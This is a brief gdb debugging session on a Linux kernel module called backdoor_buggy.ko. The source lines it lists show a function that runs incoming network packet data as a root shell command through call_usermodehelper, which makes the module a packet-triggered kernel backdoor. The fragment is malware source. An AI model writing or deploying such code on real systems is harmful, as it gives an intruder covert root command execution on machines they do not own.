bugg_code.c

lmwangi@debian:~/backdoor$ gdb backdoor_buggy.ko
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
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<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/lmwangi/backdoor/backdoor_buggy.ko...done.

(gdb) l *exec_packet+0xe3
0x107 is in exec_packet (/home/lmwangi/backdoor/backdoor_buggy.c:17).
12	static void shell_exec (struct sk_buff *skb) {
13	    char *envp[4] = {"HOME=/", "PATH=/sbin:/bin:/usr/sbin:/usr/bin",  NULL};
14	    char *cmd[] = {"/bin/sh", "-c", skb->data, NULL};
15	    printk(KERN_INFO "About to run: %s, ", skb->data);
16	    call_usermodehelper(cmd[0], cmd, envp, UMH_WAIT_EXEC);
17	    kfree_skb(skb);
18	}